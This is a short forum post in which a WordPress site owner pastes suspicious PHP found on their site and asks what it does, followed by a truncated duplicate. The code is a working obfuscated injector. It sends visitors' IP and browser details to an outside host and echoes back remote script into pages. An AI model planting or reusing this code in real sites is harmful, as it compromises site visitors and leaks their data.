Suspicious Wordpress Code

[trival]

i saw this code in my wordpress website. i was wondering what is this code. Because i cant remember putting this code in my site.

here it is.

<?php $wp_rssh = 'http'; $wp_gt = 'get'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_rssh."s".$wp_gt.".com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

trival Reviewed by trival on 1st Aug 2012. Suspicious Wordpress Code i saw this code in my wordpress website. i was wondering what is this code. Because i cant remember putting this code in my site. here it is. <?php $wp_rssh = 'http'; $wp_gt = 'get'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER; if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){ $wp_gturl=$wp_rssh."://".$wp_rssh."s".$wp_gt.".com/".$wp_gt."/?ip=".$_SERVER."&referer=".urlencode($_SERVER)."&ua=".urlencode($wp_uagent); $ch = Rating: 5